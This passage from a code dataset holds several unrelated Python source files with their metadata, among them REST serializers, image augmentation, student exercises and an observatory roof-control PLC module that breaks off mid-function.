\nplt.figure()\nplt.plot(x_epoch,y_test_list,'r-',lw=2)\nplt.plot(x_epoch,y_train_list,'g-',lw=1)\nplt.show() \n\nprint('done',y_test_list[-1],y_train_list[-1])\n \n ","sub_path":"mypython/TF_201712111001.py","file_name":"TF_201712111001.py","file_ext":"py","file_size_in_byte":3246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"564461059","text":"#!/usr/bin/env python3\r\n# -*- coding: utf-8 -*-\r\nfrom xml.parsers.expat import ParserCreate\r\n\r\n\r\nclass WeatherSaxHandle(object):\r\n weather = {'forecast': []}\r\n\r\n def start_element(self, name, attrs):\r\n if name == 'yweather:location':\r\n self.weather['city'] = attrs['city']\r\n elif name == 'yweather:forecast':\r\n self.weather['forecast'].append({'date': attrs['date'], 'high': attrs['high'], 'low': attrs['low']})\r\n\r\n\r\ndef parseXml(xml_str):\r\n handler = WeatherSaxHandle()\r\n parser = ParserCreate()\r\n parser.StartElementHandler = handler.start_element\r\n parser.Parse(xml_str)\r\n return handler.weather","sub_path":"study/WeatherSaxHandle.py","file_name":"WeatherSaxHandle.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"183356160","text":"\n\nfrom xai.brain.wordbase.nouns._cartoon import _CARTOON\n\n#calss header\nclass _CARTOONS(_CARTOON, ):\n\tdef __init__(self,): \n\t\t_CARTOON.__init__(self)\n\t\tself.name = \"CARTOONS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"cartoon\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_cartoons.py","file_name":"_cartoons.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"268659666","text":"from rest_framework import serializers\nfrom rest_framework.validators import UniqueValidator\n\nfrom feder.teryt.models import JST\nfrom .models import Institution, Tag\n\n\nclass TagNestedSerializer(serializers.StringRelatedField):\n def to_internal_value(self, value):\n tag, _ = Tag.objects.get_or_create(name=value)\n return tag\n\n\nclass ParentSerializer(serializers.HyperlinkedModelSerializer):\n self = serializers.HyperlinkedIdentityField(\n view_name='institution-detail',\n )\n\n class Meta:\n model = Institution\n fields = ('pk', 'self', 'name', 'regon', 'created', 'modified')\n\n\nclass InstitutionSerializer(serializers.HyperlinkedModelSerializer):\n url = serializers.HyperlinkedIdentityField(\n view_name='institutions:details',\n lookup_field='slug'\n )\n self = serializers.HyperlinkedIdentityField(\n view_name='institution-detail',\n # lookup_field='pk'\n )\n regon = serializers.CharField(validators=[UniqueValidator(queryset=Institution.objects.all())])\n slug = serializers.CharField(read_only=True)\n tags = TagNestedSerializer(many=True, required=False)\n parents = ParentSerializer(many=True, read_only=True)\n parents_ids = serializers.PrimaryKeyRelatedField(many=True,\n required=False,\n read_only=False,\n queryset=Institution.objects.all(),\n source='parents'\n )\n jst = serializers.PrimaryKeyRelatedField(queryset=JST.objects)\n extra = serializers.JSONField(required=False)\n\n def create(self, validated_data):\n tags_data = validated_data.pop('tags', [])\n parents_data = validated_data.pop('parents', [])\n institution = Institution.objects.create(**validated_data)\n institution.tags.set(tags_data)\n institution.parents.set(parents_data)\n return institution\n\n def update(self, instance, validated_data):\n if 'parents' in validated_data:\n instance.parents.set(validated_data['parents'])\n return super(InstitutionSerializer, self).update(instance, validated_data)\n\n class Meta:\n model = Institution\n fields = ('pk',\n 'name',\n 'slug',\n 'parents_ids',\n 'tags',\n 'jst',\n 'email',\n 'url',\n 'regon',\n 'self',\n 'parents',\n 'extra',\n 'created',\n 'modified',\n )\n extra_kwargs = {\n 'jst': {'view_name': 'jednostkaadministracyjna-detail'},\n }\n\n\nclass TagSerializer(serializers.HyperlinkedModelSerializer):\n slug = serializers.CharField(read_only=True)\n\n class Meta:\n model = Tag\n fields = ('pk', 'name', 'slug',)\n","sub_path":"feder/institutions/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":3030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"188894804","text":"def make_dist():\n return default_python_distribution()\n\ndef make_exe(dist):\n python_config = PythonInterpreterConfig(\n run_module='pyox'\n # run_module='pyox.__main__'\n )\n exe = dist.to_python_executable(\n name=\"pyox\",\n config=python_config,\n extension_module_filter='all',\n include_sources=False,\n include_resources=False,\n include_test=False,\n )\n # exe.add_in_memory_python_resources(dist.read_package_root(\n # path=\".\",\n # packages=[\"pyox\"],\n # ))\n return exe\n\ndef make_embedded_resources(exe):\n return exe.to_embedded_resources()\n\ndef make_install(exe):\n files = FileManifest()\n files.add_python_resource(\".\", exe)\n return files\n\nregister_target(\"dist\", make_dist)\nregister_target(\"exe\", make_exe, depends=[\"dist\"], default=True)\nregister_target(\"resources\", make_embedded_resources, depends=[\"exe\"], default_build_script=True)\nregister_target(\"install\", make_install, depends=[\"exe\"])\n\nresolve_targets()\n\nPYOXIDIZER_VERSION = \"0.7.0\"\nPYOXIDIZER_COMMIT = \"UNKNOWN\"\n","sub_path":"pyoxidizer.bzl","file_name":"pyoxidizer.bzl","file_ext":"bzl","file_size_in_byte":1072,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"364436906","text":"import random\nimport sys\n\n\n# 1.Преобразовать элементы списка s из строковой в числовую форму.\ndef str_to_int(str_s):\n return [int(x) for x in str_s]\n\n\n# 2.Подсчитать количество различных элементов в последовательности s.\ndef count_elem(s):\n return len(set(s))\n\n\n# 3.Обратить последовательность s без использования функций.\ndef reverse(s):\n return s[::-1]\n\n\n# 4.Выдать список индексов, на которых найден элемент x в последовательности s.\ndef get_index(x, s):\n return [i for i in range(len(s)) if x == s[i]]\n\n\n# 5.Сложить элементы списка s с четными индексами.\ndef sum_elem_even_index(s):\n return sum(s[1::2])\n\n\n# 6.Найти строку максимальной длины в списке строк s.\ndef find_str_max_len(s):\n return max(s, key=len)\n\n\nif __name__ == '__main__':\n # 1\n assert str_to_int([\"10\", \"55\", \"3\", \"4\"]) == [10, 55, 3, 4]\n # 2\n assert count_elem([\"python\", \"task\", \"bonus\", \"python\"]) == 3\n # 3\n assert reverse([1, 2, 3, 4, 5]) == [5, 4, 3, 2, 1]\n # 4\n assert get_index(7, [0, 7, 1, 7, 7, 2, 7]) == [1, 3, 4, 6]\n # 5\n assert sum_elem_even_index([2, -178, -7, 67, 2, 78, 0, 19]) == -14\n # 6\n assert find_str_max_len([\"bonus\", \"python\", \"task\", \"practice\"]) == \"practice\"\n print(\"\\nSuccess\")\n\n\n# В следующем фрагменте по индексу i выбирается одна из трех строк:\n# Сократите код в строке №2 до 19 символов без использования функций.\n# возврат первого элемента\ndef do_code_shorter():\n i = 0\n # ['much', 'code', 'wow'][i] # 24 символа\n return 'muchcodewow'[:i + 4] # 19\n\n\n# Напишите функцию generate_groups(), которая генерирует (не просто выдает готовый)\n# список всех названий групп в том виде, который используется в выпадающем списке\n# на сайте с результатами от робота kispython.\n# возврат названия в новом виде\ndef generate_groups(str):\n return \"{0}{1}\".format(str[1], int(str[5:7]))\n\n\n# Изучите, как работает функция zip().\ndef do_zip():\n a = [86, 52, 4]\n b = [1.7, 0.0, -1.7]\n c = [\"task\", \"python\", \"zip\"]\n zipped = zip(a, b, c)\n return list(zipped) # список из кортежей\n\n\n# Разберите роль операции * в создании функций с переменным числом\n# аргументов, а также для распаковки последовательностей.\n# *digits переменное число входных параметров\n# возврат произведения\ndef multiply_d(*digits):\n res = 1\n for d in digits:\n res *= d\n return res\n\n\n# Реализуйте с помощью zip() функцию transpose() для транспонирования матрицы.\n# matrix - матрица исходная\ndef transpose_matrix(matrix):\n return list(list(i) for i in zip(*matrix)) # транспонированная\n\n\n# Реализуйте генератор докладов по цифровой экономике.\ndef economy_generator():\n part1 = ('Коллеги,', 'В то же время,', 'Однако,', 'Тем не менее,', 'Следовательно,', 'Соответственно,',\n 'Вместе с тем,', 'С другой стороны,')\n part2 = ('парадигма цифровой экономики', 'контeкст цифровой трансформации', 'диджитализация бизнeс-процессов',\n 'прагматичный подход к цифровым платформам', 'совокупность сквозных тeхнологий',\n 'программа прорывных исслeдований', 'ускорeниe блокчeйн-транзакций', 'экспоненциальный рост Big Data')\n part3 = [\"открывает новые возможности для\", \"выдвигает новые требования\", \"несёт в себе риски\",\n \"расширяет горизонты\", \"заставляет искать варианты\",\n \"не оставляет шанса для\", \"повышает вероятность\", \"обостряет проблему\"]\n part4 = [\"дальнейшего углубления\", \"бюджетного финансирования\", \"синергетического эффекта\",\n \"компрометации конфиденциальных\", \"универсальной коммодитизации\",\n \"несанкционированной кастомизации\", \"нормативного регулирования\", \"практического применения\"]\n part5 = [\"знаний и компетенций.\", \"непроверенных гипотез.\", \"волатильных активов.\",\n \"опасных экспериментов.\", \"государственно-частных партнёрств.\",\n \"цифровых следов граждан.\", \"нежелательных последствий.\", \"внезапных открытий.\"]\n return random.choice(part1) + \" \" + random.choice(part2) + \" \" + random.choice(part3) + \" \" + random.choice(\n part4) + \" \" + random.choice(part5)\n\n\n# Реализуйте свою версию print(). Постарайтесь использовать максимум\n# возможностей настоящей print(). Для вывода используйте функцию\n# sys.stdout.write().\n# *args - входные аргументы\n# sep - раделитель данных, end - последний символ строки\n# sys.stdout.write - вывод\ndef func_print(*args, sep=\" \", end=\"\\n\"):\n sys.stdout.write(sep.join(str(i) for i in args) + end)\n\n\n# Реализуйте функцию, которая принимает только именованные аргументы. При\n# передаче позиционного аргумента Питон должен выдать ошибку.\n# **args - исходные параметры\n# на возврат словарь ключ-значение\ndef get_only_init_args(**args):\n return args\n\n\n# Реализуйте генератор случайных данных ФИО. Список распространенных имен позволяется скачать из интернета.\n# Фамилии необходимо генерировать самостоятельно\nnames = ['Александр', 'Дмитрий', 'Арам', 'Вениамин', 'Андрей', 'Даниил', 'Василий', 'Михаил', 'Герман', 'Артём',\n 'Давид', 'Владимир', 'Егор', 'Павел', 'Ильяс', 'Илья', 'Григорий', 'Ринат', 'Леонид', 'Захар',\n 'Дамир', 'Денис', 'Алексей', 'Марк', 'Линар', 'Тимур', 'Антон', 'Ярослав', 'Иван', 'Николай']\nignore = ['Ю', 'Ь', 'Ъ', 'Й', 'Ё', 'Ы']\nat = [chr(x) for x in range(ord('А'), ord('Я') + 1) if chr(x) not in ignore]\nrandom_end = ['ов', 'ев', 'ин', 'ын', 'ский', 'цкий', 'ской', 'цкой', 'ой', 'ий', 'енков', 'их', 'ых', 'ко']\nvowel = ['а', 'я', 'о', 'е', 'у', 'ю', 'ы', 'и', 'э', 'e']\nconsonant = ['б', 'в', 'г', 'д', 'ж', 'з', 'к', 'л', 'м', 'н', 'п', 'р', 'с', 'т', 'ф', 'х', 'ц', 'ч', 'ш', 'щ']\n\n\ndef generate_random_fio():\n s = random.choice(names) + \" \" + random.choice(at) + \". \"\n for i in range(random.randint(1, 3)):\n if i == 0:\n s += random.choice(consonant).upper()\n else:\n s += random.choice(consonant)\n s += random.choice(vowel)\n s = s + random.choice(consonant) + random.choice(random_end)\n return print(s)\n\n\n# Напишите функцию generate_array(dim1, dim2, dim3, ...) для создания\n# многомерного массива с помощью вложенных списков.\n# возврат многомерного массива\ndef generate_array(*dim):\n return [*dim]\n\n\nif __name__ == '__main__':\n # 24 символа\n assert do_code_shorter() == \"much\"\n\n # генерация названий групп\n assert generate_groups(\"IKBO-20-19\") == \"К20\"\n\n # работа с zip\n assert do_zip() == [\n (86, 1.7, \"task\"),\n (52, 0.0, \"python\"),\n (4, -1.7, \"zip\")\n ]\n\n # переменное число параметров в функции\n assert multiply_d(-1, 2, 3, 6, 9) == -324\n\n # транспонирование матрицы\n assert transpose_matrix([[11, 44, 22], [38, 56, 99]]) == [[11, 38], [44, 56], [22, 99]]\n\n # реализация своего print()\n print(\"func_print()->\", \"python\", [5, 8], None, True, sep=\"\\t->\\t\", end=\"%\\n\")\n func_print(\"func_print()->\", \"python\", [5, 8], None, True, sep=\"\\t->\\t\", end=\"%\\n\")\n\n # получить только именованные аргументы\n assert get_only_init_args(\n student=\"Andrew\",\n group=\"IKBO-20-19\",\n university=\"MIREA\") == {\n \"student\": \"Andrew\",\n \"group\": \"IKBO-20-19\",\n \"university\": \"MIREA\"\n }\n\n # генерация многомерного массива\n assert generate_array([23, 32], [48, 56], [96, 71]) == [[23, 32], [48, 56], [96, 71]]\n print(\"\\nSuccess\")\n","sub_path":"addex2/task1.py","file_name":"task1.py","file_ext":"py","file_size_in_byte":10025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"519754062","text":"import argparse\nimport random\n\nimport numpy as np\nimport PIL\nfrom PIL import Image\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\n\n\n# Randomly flip an image.\ndef flip_left_right(image):\n return tf.image.flip_left_right(image)\n\n\n# Randomly flip an image.\ndef flip_up_down(image):\n return tf.image.flip_up_down(image)\n\n\n# Randomly change an image contrast.\ndef random_contrast(image1, image2, minval=0.6, maxval=1.4):\n r = tf.random_uniform([], minval=minval, maxval=maxval)\n image1, image2 = tf.image.adjust_contrast(image1, contrast_factor=r), tf.image.adjust_contrast(image2,\n contrast_factor=r)\n return tf.cast(image1, tf.uint8), tf.cast(image2, tf.uint8)\n\n\n# Randomly change an image brightness\ndef random_brightness(image1, image2, minval=0., maxval=.2):\n r = tf.random_uniform([], minval=minval, maxval=maxval)\n image1, image2 = tf.image.adjust_brightness(image1, delta=r), tf.image.adjust_brightness(image2, delta=r)\n return tf.cast(image1, tf.uint8), tf.cast(image2, tf.uint8)\n\n\n# Randomly change an image saturation\ndef random_saturation(image1, image2, minval=0.4, maxval=2.):\n r = tf.random_uniform((), minval=minval, maxval=maxval)\n image1, image2 = tf.image.adjust_saturation(image1, saturation_factor=r), tf.image.adjust_saturation(image2,\n saturation_factor=r)\n return tf.cast(image1, tf.uint8), tf.cast(image2, tf.uint8)\n\n\n# Randomly change an image hue.\ndef random_hue(image1, image2, minval=-0.04, maxval=0.08):\n r = tf.random_uniform((), minval=minval, maxval=maxval)\n image1, image2 = tf.image.adjust_hue(image1, delta=r), tf.image.adjust_hue(image2, delta=r)\n return tf.cast(image1, tf.uint8), tf.cast(image2, tf.uint8)\n\n\n# Apply all transformations to an image.\n# That is a common image augmentation technique for image datasets, such as ImageNet.\ndef transform_image(image1, image2):\n if random.randint(1, 3) == 2:\n image1, image2 = image1.transpose((1, 0, 2)), image2.transpose((1, 0, 2))\n if random.randint(1, 3) == 2:\n image1, image2 = flip_up_down(image1), flip_up_down(image2)\n if random.randint(1, 3) == 2:\n image1, image2 = flip_left_right(image1), flip_left_right(image2)\n\n image1, image2 = random_brightness(image1, image2)\n # image1, image2 = random_hue(image1, image2)\n # image1, image2 = random_saturation(image1, image2)\n # image1, image2 = random_contrast(image1, image2)\n return image1, image2\n\n\n# Resize transformed image to a 256x256px square image, ready for training.\ndef resize_image(image):\n image = tf.image.resize(image, size=(args.size, args.size), preserve_aspect_ratio=False)\n image = tf.cast(image, tf.uint8)\n return image\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('-img1_path', default='./data/processed_data/type3/temp/pic1.jpg', type=str)\n parser.add_argument('-img2_path', default='./data/processed_data/type3/trgt/pic1.jpg', type=str)\n parser.add_argument('-size', default=100, type=int)\n args = parser.parse_args()\n\n # Load image to numpy array.\n img1 = PIL.Image.open(args.img1_path)\n img2 = PIL.Image.open(args.img2_path)\n img1.load()\n img2.load()\n img1_array = np.array(img1)\n img2_array = np.array(img2)\n\n # Create TensorFlow session.\n session = tf.Session()\n\n # Display fully pre-processed image.\n transformed_img1, transformed_img2 = transform_image(img1_array, img2_array)\n plt.figure(\"fully pre-processed image1\")\n plt.imshow(PIL.Image.fromarray(transformed_img1.eval(session=session)))\n plt.figure(\"fully pre-processed image2\")\n plt.imshow(PIL.Image.fromarray(transformed_img2.eval(session=session)))\n\n # Display resized image.\n plt.figure(\"resized image1\")\n plt.imshow(PIL.Image.fromarray(resize_image(transformed_img1).eval(session=session)))\n plt.figure(\"resized image2\")\n plt.imshow(PIL.Image.fromarray(resize_image(transformed_img2).eval(session=session)))\n plt.show()\n","sub_path":"augmentation.py","file_name":"augmentation.py","file_ext":"py","file_size_in_byte":4167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"400760004","text":"import fonts.sans24\nimport micropython\n\n@micropython.viper\ndef bitblit(bitbuf, pixels, bgfg: int, count: int):\n mv = ptr8(bitbuf)\n px = ptr8(pixels)\n\n bghi = (bgfg >> 24) & 0xff\n bglo = (bgfg >> 16) & 0xff\n fghi = (bgfg >> 8) & 0xff\n fglo = (bgfg ) & 0xff\n\n bitselect = 0x80\n pxp = 0\n mvp = 0\n\n for bit in range(count):\n # Draw the pixel\n active = px[pxp] & bitselect\n mv[mvp] = fghi if active else bghi\n mvp += 1\n mv[mvp] = fglo if active else bglo\n mvp += 1\n\n # Advance to the next bit\n bitselect >>= 1\n if not bitselect:\n bitselect = 0x80\n pxp += 1\n\ndef bounding_box(s, font):\n w = 0\n for ch in s:\n (_, h, wc) = font.get_ch(ch)\n w += wc + 1\n\n return (w, h)\n\ndef draw_glyph(display, glyph, x, y, bgfg):\n (px, h, w) = glyph\n\n buf = memoryview(display.linebuffer)[0:2*(w+1)]\n bytes_per_row = (w + 7) // 8\n\n for row in range(h):\n bitblit(buf, px[row*bytes_per_row:], bgfg, w)\n buf[2*w] = 0\n buf[2*w + 1] = 0\n display.rawblit(buf, x, y+row, w+1, 1)\n\nclass Draw565(object):\n def __init__(self, display):\n self._display = display\n self.set_color(0xffff)\n self.set_font(fonts.sans24)\n\n def set_color(self, color, bg=0):\n self._bgfg = (bg << 16) + color\n\n def set_font(self, font):\n self._font = font\n\n def string(self, s, x, y, width=None):\n display = self._display\n bgfg = self._bgfg\n font = self._font\n\n if width:\n (w, h) = bounding_box(s, font)\n leftpad = (width - w) // 2\n rightpad = width - w - leftpad\n display.fill(0, x, y, leftpad, h)\n x += leftpad\n\n for ch in s:\n glyph = font.get_ch(ch)\n draw_glyph(display, glyph, x, y, bgfg)\n x += glyph[2] + 1\n\n if width:\n display.fill(0, x, y, rightpad, h)\n\n#import watch\n#draw = Draw(watch.display)\n#\n#def test():\n# watch.display.poweron()\n# watch.backlight.set(2)\n#\n# draw.string('10-Jan-2020', 0, 24, width=240)\n","sub_path":"wasp/draw565.py","file_name":"draw565.py","file_ext":"py","file_size_in_byte":2138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"99646923","text":"import os\nfrom pyswip import Prolog\n\n\nclass PrologDecisionModule:\n def __init__(self):\n self.prolog = Prolog()\n prolog_path = os.path.abspath(os.path.join(os.path.dirname(__file__), '..', 'model/prolog'))\n self.prolog.consult(os.path.join(prolog_path, 'load.pl'))\n\n def start_game(self):\n init_pos = list(self.prolog.query(\"init_state\"))\n\n def humanOffer(self, offer, emoFace, emoVoice):\n response = list(\n self.prolog.query(\"humanOffers({}, {}, {}, RobotOffer, RobotDecision)\"\n .format(offer, emoFace, emoVoice)))[0]\n info = {\n \"offer\": response[\"RobotOffer\"],\n \"decision\": \"accepted\" if response[\"RobotDecision\"] > 0 else \"declined\"}\n\n return info\n\n def humanDecides(self, agreed):\n decision = \"yes\" if agreed else \"no\"\n response = list(\n self.prolog.query(\"humanDecides({})\"\n .format(decision)))[0]\n","sub_path":"model/prolog_decision_module.py","file_name":"prolog_decision_module.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"444405474","text":"from ..SymbolDownloader import SymbolDownloader\nfrom ..symbols.Future import Future\n\nfrom ..compat import text\n\nclass FutureDownloader(SymbolDownloader):\n def __init__(self):\n SymbolDownloader.__init__(self, \"Future\")\n\n def decodeSymbolsContainer(self, symbolsContainer):\n symbols = []\n for row in symbolsContainer:\n ticker = text(row.contents[0].string)\n name = row.contents[1].string\n if name is not None:\n name = text(name)\n t = text(row.contents[3].string)\n if(t.strip().lower() != 'Future'.lower()):\n pass #raise TypeError(\"Unexpected type. Got: \" + t)\n exchange = row.contents[5].string\n if exchange is not None:\n exchange = text(exchange)\n \n symbols.append(Future(ticker, name, exchange))\n return symbols\n\n","sub_path":"ytd/downloader/FutureDownloader.py","file_name":"FutureDownloader.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"94"} +{"seq_id":"606369362","text":"\"\"\"\nPLC_interaction_functions.py\n\n\n Replaces all the individual PHP scripts to interact with the PLC box, to do things such as get the rain status\n or get the roof status.\n \n Have been written so they can be used individually in scripts from a command line, or imported into a larger\n script.\n\n When incorporating these functions into exsiting functions, it is probably worth checking to see if the function\n may exit when an error is thrown, then incoporate it in a try/except statement from where it is being \n called. The request to exit is there so the program quits when called from the command line, but this probably is something you want when run in a large script. Also for these functions you will need to set exit_after to False. If set to True, the code will exit on succesful completion.\n \n <13/11/18> ** Note, most of the functions have not been properly tested, as they require the PLC to actually be connected. Also for the Xamidimura telescope need to add\n\tin the functions and code to work with the new tilt sensors.\n\t\n\tCURRENT FUNCTIONS:\n\t----------------------------------------------------------------------\n\tNew Functions\n\t----------------------------------------------------------------------\n\t- get_D100_D102_status()\n\t\n\t- split_up_response(response)\n\t\n\t- create_and_send_new_command(status_hex,power_timeout_hex,comms_timeout_hex)\n\t----------------------------------------------------------------------\n\tOLD PHP Scripts\n\t----------------------------------------------------------------------\n\t- plc_close_roof()\n\t\n\t- plc_get_plc_status(log_messages=True)\n\t\n\t- plc_get_rain_status(log_messages=True)\n\t\n\t- plc_get_roof_status(log_messages=True)\n\t\n\t- plc_open_roof()\n\t\n\t- plc_request_roof_control()\n\t\n\t- plc_reset_watchdog()\n\t\n\t- plc_select_battery()\n\t\n\t- plc_select_mains()\n\t\n\t- plc_set_comms_timeout(timeout=set_err_codes.plc_comms_timeout)\n\t\n\t- plc_set_power_timeout(timeout=set_err_codes.plc_power_timeout)\n\t\n\t- plc_stop_roof()\n\t----------------------------------------------------------------------\n\tNEW python functions\n\t----------------------------------------------------------------------\n\t- plc_get_telescope_tilt_status()\n\t\n\t- plc_request_telescope_drive_control()\n\t\n\t- plc_is_roof_open()\n\n\"\"\"\n\nimport serial\nimport roof_control_functions as rcf\nimport logging\nimport sys\nimport settings_and_error_codes as set_err_codes\nimport time\n\nlogger = logging.getLogger(__name__)\nlogger.setLevel(logging.INFO)\nfileHand = logging.FileHandler(filename = \\\n\tset_err_codes.LOGFILES_DIRECTORY+'plc_status.log', mode = 'a')\nfileHand.setLevel(logging.INFO)\nlogging.Formatter.converter = time.gmtime\nformatter = logging.Formatter('%(asctime)s [%(name)s] %(levelname)s - '\\\n\t\t'%(message)s','%Y-%m-%d_%H:%M:%S_UTC')\nfileHand.setFormatter(formatter)\nlogger.addHandler(fileHand)\n\n\nclass PLC_ERROR(Exception):\n\t\"\"\"\n\tUser defined error\n\t\"\"\"\n\tdef __init__(self,message):\n\t\tself.message = message\n\n\ndef get_D100_D102_status():\n\t\n\t\"\"\"\n\t Get the current status of the command buffer words D-100 to D-102. Will check the end code, and report\n\t an error then exit if there was a problem getting the roof status. This function is equivalent to the \n\t following section of code taken from the orginial PHP scripts:\n\t \n\t -----------------------------------------------------------------------\n\t # Get the current status of the command buffer words D-100 to D-102\n\t $response = plc_command_response(PLC_Command_Status_Request);\n\n\t if (plc_status_end_code($response)) {\n\t\techo basename($argv[0]).\": Error getting roof status from PLC: \";\n\t\techo plc_data_error_message(plc_status_end_code($response)).\"\\n\";\n\t\texit(1);\n\t }\n\t -----------------------------------------------------------------------\n\t \n\tRETURN:\n\t\t\n\t\tresponse - If the response from the PLC pass the check, then it will be returned, otherwise Python will \n\t\t\traise a PLC_Error exception.\n\t\t\t\n\t\t\t\n\t\"\"\"\n\n\t# Get the current status of the command buffer words D-100 to D-102\n\tresponse = rcf.plc_command_response(rcf.PLC_Command_Status_Request)\n\n\tif rcf.plc_status_end_code(response):\n\t\tlogger.error('Error getting command status from PLC: '+ rcf.plc_status_error_message(rcf.plc_status_end_code(response)))\n\t\traise PLC_ERROR('Error getting command status from PLC : '+ rcf.plc_status_error_message(rcf.plc_status_end_code(response)))\n\n\telse:\n\t\treturn response\n\ndef split_up_response(response):\n\n\t\"\"\"\n\tTakes a response message from the PLC and will split it up, and return the frame,\n\t status_hex, power timeout hex, comm timeout hex and fcs_hex.\n\t \n\tIt will carry out a FCS check.\n\t\n\tThis function is equivalent to the following section of code taken from the orginial PHP scripts:\n\t\n\t-----------------------------------------------------------------------\n\t$preg = '%^(@00RD00(....)(....)(....).*)(..)\\*\\r$%';\n\tif (preg_match($preg,$response,$matches)){\n\t\t$frame = $matches[1];\n\t\t$status_hex = $matches[2];\n\t\t$power_timeout_hex = $matches[2];\n\t\t$comms_timeout_hex = $matches[3];\n\t\t$fcs_hex = $matches[5];\n\t\t$x = ord(\"@\");\n\t\t$i = 1;\n\t\tdo {\n\t\t\t$x = $x ^ ord(substr($frame,$i,1));\n\t\t} while (($i++) < (strlen($frame)-1));\n\n\t\tif (hexdec(\"$fcs_hex\") != $x) {\n\t\t\techo basename($argv[0]).\": roof status FCS check fail : \";\n\t\t\techo $response.\"\\n\";\n\t\t\texit(1);\n\t\t}\n\t} else {\n\t\techo basename($argv[0]).\": Got invalid roof status from PLC: \";\n\t\techo $response.\"\\n\";\n\t\texit(1);\n\t}\n\t-----------------------------------------------------------------------\n\t\n\tPARAMETER\n\t\n\t response = The response to be split\n\t\n\tRETURN:\n\t\tframe, status_hex,power_timeout_hex, comms_timeout_hex, fcs_hex\n\t\"\"\"\n\tif response[-2:] == '*\\r' and response[:5] =='@00RD':\n\t\tframe = response[:-4]\n\t\tstatus_hex = response[7:11]\n\t\tpower_timeout_hex = response[11:15]\n\t\tcomms_timeout_hex = response[15:19]\n\t\ttilt_status_hex = response[19:23] # assuming my new command is correct '@00RD0150000451*\\r'\n\t\tfcs_hex = response[-4:-2]\n\t\tlogger.debug('Frame: '+str(frame)+', fcs: '+fcs_hex+', status: '+str(status_hex))\n\n\t\tx = ord('@')\n\t\tfor i in range(1,len(frame)):\n\t\t\tx = x ^ ord(frame[i:i+1])\n\t\tlogger.debug('x: '+ str(x)+ ', test: '+str(int(fcs_hex, 16) == x))\n\t\tif int(fcs_hex,16) != x:\n\t\t\tlogger.error('Roof status FCS check fail: '+str(response))\n\t\t\traise PLC_ERROR('Roof status FCS check fail: '+str(response))\n\telse:\n\t\tlogger.error('Got invalid roof status from PLC: '+str(response))\n\t\traise PLC_ERROR('Got invalid roof status from PLC: '+str(response))\n\n\treturn frame, status_hex,power_timeout_hex, comms_timeout_hex, fcs_hex, tilt_status_hex\n\ndef create_and_send_new_command(status_hex,power_timeout_hex,comms_timeout_hex):\n\t\"\"\"\n\tThis function will take the status, power timeout and comms timeout in hexadecimal format\n\t and use them to form a command to send to the PLC. It will check that the command is ok,\n\t if it is not then it will log an error message and exit.\n\t \n\tThis function is equivalent to the following section of code taken from the orginial PHP scripts:\n\t\n\t-----------------------------------------------------------------------\n\t$cmd = \"@00WD0100\".$status_hex.$power_timeout_hex.$comms_timeout_hex.\"00000000000000*\\r\";\n\t$cmd= plc_insert_fcs($cmd);\n\t$response = plc_command_response($cmd);\n\tif ($response != PLC_Roof_Command_Response_OK) {\n\t\techo basename($argv[0]).\": Command failed \".$cmd.\"\\n\";\n\t\techo $response.\"\\n\";\n\t\texit(1);\n\t}\n\t-----------------------------------------------------------------------\n\t\n\t\"\"\"\n\tcmd = \"@00WD0100\"+status_hex+power_timeout_hex+comms_timeout_hex+\"00000000000000*\\r\"\n\tcmd = rcf.plc_insert_fcs(cmd)\n\tlogger.debug('New command: '+cmd)\n\tresponse = rcf.plc_command_response(cmd)\n\tif response != rcf.PLC_Roof_Command_Response_OK:\n\t\tlogger.error('Command failed:'+str(response))\n\t\traise PLC_ERROR('Command failed:'+str(response))\n\n\ndef plc_close_roof():\n\n\t\"\"\"\n\tIssue the commands to close the roof via the PLC box\n\t\n\t# Check the following conditions first.\n\t# - The Roof interface is set to Remote.\n\t# - The Motor Stop is not pressed.\n\t# - There is no power failure.\n\t\n\t*** DOES NOT CHECK IF THE TELESCOPE IS GOING TO BE HIT ****\n\t\n\tRETURN\n\t \n\t\tPLC_CODE_OK, from the settings and errors codes script, to show that the code has completed\n\t\n\t\"\"\"\n\n\t#Get a status response from the PLC and check the response\n\n\tresponse = rcf.plc_command_response(rcf.PLC_Request_Roof_Status)\n\tif rcf.plc_status_end_code(response):\n\t\tlogger.error('Error getting roof status from PLC:'+ rcf.plc_status_error_message(rcf.plc_status_end_code(response)))\n\t\traise PLC_ERROR('Error getting roof status from PLC:'+ rcf.plc_status_error_message(rcf.plc_status_end_code(response)))\n\t\n\t\n\tprint(\"NEED TO PUT TILT CHECK IN ROOF CLOSE FUNCTION!!!!\")\n\tlogger.warning(\"NEED TO PUT TILT CHECK IN ROOF CLOSE FUNCTION!!!!\")\n\t\n\t# Pickout the roof status part of the response\n\troof_status = rcf.plc_status_status_code(response)\n\t# Check the roof is set for remote control\n\tif rcf.int_bit_is_set(roof_status, rcf.PLC_Roof_Remote_Control) == False:\n\t\tlogger.error('PLC is not under remote control.')\n\t\traise PLC_ERROR('PLC is not under remote control.')\n\n\t# Check if the motor stop is pressed.\n\tif rcf.int_bit_is_set(roof_status, rcf.PLC_Roof_Motor_Stop_Pressed) == True:\n\t\tlogger.error('PLC motor stop is pressed')\n\t\traise PLC_ERROR('PLC motor stop 